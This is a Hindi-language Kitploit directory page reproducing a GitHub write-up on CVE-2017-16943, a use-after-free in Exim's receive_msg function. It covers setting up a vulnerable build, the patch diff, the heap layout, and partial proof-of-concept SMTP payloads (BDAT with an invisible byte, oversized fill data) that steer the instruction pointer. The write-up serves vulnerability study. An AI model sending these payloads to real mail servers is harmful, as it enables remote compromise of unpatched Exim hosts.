Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2017-16943 — CVE-2017-16943 का तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट, जो Exim के receive_msg फ़ंक्शन में use-after-free दोष है, जो हीप मैनिपुलेशन और RIP हाईजैकिंग को प्रदर्शित करता है। | Kitploit
उपकरण/GitHubGitHub/beraphin/cve-2017-16943
मेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणडीबगर्सलर्निंग और शिक्षाबाइनरी शोषण
GitHubberaphin/cve-2017-16943

CVE-2017-16943

CVE-2017-16943 का तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट, जो Exim के receive_msg फ़ंक्शन में use-after-free दोष है, जो हीप मैनिपुलेशन और RIP हाईजैकिंग को प्रदर्शित करता है।

रिपॉजिटरी देखें
186 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2017-16943

पर्यावरण सेटअप

git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile

Makefile में पथ चर और उपयोगकर्ता नाम बदलें

cd ..
make -j8
sudo make install

इंस्टॉल करने के बाद configure में accept hosts = : को accept hosts = * में बदलें। चलाएँ:

exim -bdf -d-receive

भेद्यता विश्लेषण

यह भेद्यता एक UAF (उपयोग-पश्चात-मुक्त) है, जो receive.c फ़ाइल के receive_msg फ़ंक्शन में होती है। यह फ़ंक्शन क्लाइंट से इनपुट प्राप्त करने के लिए उपयोग होता है। पैच रिकॉर्ड देखें:

 src/src/receive.c | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
   (and sometimes lunatic messages can have ones that are 100s of K long) we
   call store_release() for strings that have been copied - if the string is at
   the start of a block (and therefore the only thing in it, because we aren't
-  doing any other gets), the block gets freed. We can only do this because we
-  know there are no other calls to store_get() going on. */
+  doing any other gets), the block gets freed. We can only do this release if
+  there were no allocations since the once that we want to free. */
 
   if (ptr >= header_size - 4)
     {
@@ -1820,9 +1820,10 @@ for (;;)
     header_size *= 2;
     if (!store_extend(next->text, oldsize, header_size))
       {
+      BOOL release_ok = store_last_get[store_pool] == next->text;
       uschar *newtext = store_get(header_size);
       memcpy(newtext, next->text, ptr);
-      store_release(next->text);
+      if (release_ok) store_release(next->text);
       next->text = newtext;
       }
     }

यहाँ कुछ वैश्विक चरों की भूमिका स्पष्ट करते हैं:

current_block: वर्तमान storeblock, store_get_3 का उपयोग करते समय पहले इसी storeblock से खाली क्षेत्र खोजा जाता है
next_yield: current_block में खाली ब्लॉक के प्रारंभ पते की ओर इशारा करता है; storeblock आमतौर पर ऊपरी भाग उपयोग किया जाता है, निचला भाग खाली होता है
yield_length: next_yield की लंबाई

meh के poc का विश्लेषण करके पता चलता है कि अपैच्ड प्रोग्राम निम्नलिखित हीप लेआउट प्रक्रिया के माध्यम से uaf ट्रिगर कर सकता है: सबसे पहले receive_msg फ़ंक्शन में, next->text को एक storeblock की प्रारंभिक बफर बनाएँ: 1

फिर bdat कमांड के माध्यम से उस text के नीचे एक buffer आवंटित करें। bdat कमांड का उपयोग क्यों करें? वास्तव में auth plain या अदृश्य वर्णों से बने अवैध कमांड भी text के नीचे buffer आवंटित कर सकते हैं, लेकिन अन्य निर्देश receive_msg फ़ंक्शन से बाहर निकलने का कारण बनेंगे। पुनः receive_msg में प्रवेश करने पर, next->text किसी अन्य क्षेत्र की ओर इशारा करेगा, इसलिए भेद्यता ट्रिगर नहीं हो सकती। जबकि bdat कमांड वर्तमान receive_msg फ़ंक्शन से बाहर नहीं निकलता, यह बहुत महत्वपूर्ण है। 2

फिर लगातार वर्ण भेजें, next_text को भरें (शुरू में 0x100), फिर प्रोग्राम भेद्यता बिंदु पर पहुँचता है। store_extend में, bdat buffer की उपस्थिति के कारण विस्तार नहीं हो पाता, इसलिए store_get निष्पादित होता है और next_yield द्वारा इंगित क्षेत्र प्राप्त करता है, फिर store_release फ़ंक्शन को कॉल करता है। इस फ़ंक्शन में केवल यह जाँच की जाती है कि release का पैरामीटर किसी storeblock की शुरुआत है या नहीं, लेकिन यह नहीं जाँचा जाता कि उसके बाद कोई अन्य buffer है, तो सीधे storeblock को मुक्त कर दिया जाता है। इससे store_get द्वारा लौटाया गया पता अभी भी current_block के अंदर है, लेकिन तुरंत current_block को मुक्त कर दिया जाता है, जिससे uaf उत्पन्न होता है।

RIP हाइजैक

यहाँ poc कोड के साथ कदम दर कदम समझाते हैं कि rip कैसे हाइजैक करें।

ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')

पहले ढेर सारा डेटा भेजें, इसका उद्देश्य yield_length को 0x130 से कम, लेकिन 0x30 से अधिक बनाना है। ऐसा क्यों चाहिए? receive_msg फ़ंक्शन की शुरुआत देखें:

...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705: 
1706: /* Control block for the next header to be read. */
1707: 
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...

पता चलता है कि next->text आवंटित करने से पहले sizeof(header_line) आकार के दो buffer आवंटित किए गए हैं, यह आकार 0x18 है। इसलिए यदि इन दो 0x18 आकार के ब्लॉक आवंटित करने के बाद शेष yield_length 0x100 से कम है, तो next->text आवंटित करते समय store_get के अंदर एक नया storeblock आवंटित होगा, और next->text उस storeblock की शुरुआत में होगा।

फिर हम bdat कमांड कॉल करते हैं:

r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')

इस कमांड में एक अदृश्य वर्ण है, जो store_get को कॉल करके त्रुटि संदेश संग्रहीत करने के लिए एक buffer आवंटित करेगा:

pwndbg> hexdump 0x71d0e0 
+0000 0x71d0e0  42 44 41 54  20 5c 33 33  35 00 20 63  68 75 6e 6b  │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0  35 30 31 20  6d 69 73 73  69 6e 67 20  73 69 7a 65  │501.│miss│ing.│size│
+0020 0x71d100  20 66 6f 72  20 42 44 41  54 20 63 6f  6d 6d 61 6e  │.for│.BDA│T.co│mman│
+0030 0x71d110  64 0a 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │d...│....│....│....│

(अवैध निर्देशों में भी यदि अदृश्य वर्ण हों तो अतिरिक्त हीप ब्लॉक आवंटित हो सकता है)

अब लगातार वर्ण भेजें:

unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))

यह प्रति बाइट next->text में प्राप्त वर्ण भरता है। जब 0x100 का खाली क्षेत्र भर जाता है, तो भेद्यता कोड चलता है जो next->text का आकार बढ़ाने का प्रयास करता है। पहले store_extend(next->text, oldsize, header_size) में प्रवेश करें और सीधे आकार बढ़ाने का प्रयास करें:

File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268:   int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272: 
273: if (rounded_oldsize % alignment != 0)
274:   rounded_oldsize += alignment - (rounded_oldsize % alignment);
275: 
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277:     inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278:   return FALSE;
...

मुख्य जाँच 276~277 पंक्तियों में है। पहली शर्त यह जाँचती है कि विस्तारित किए जाने वाले पॉइंटर ptr के बाद सीधे next_yield है या नहीं। दूसरी शर्त यह जाँचती है कि next_yield का आकार (yield_length) पर्याप्त है या नहीं। स्पष्ट है कि पहली शर्त पूरी नहीं होती, क्योंकि next->text के बाद एक bdat buffer है, और उसके बाद next_yield है।

टूल डाउनलोड करें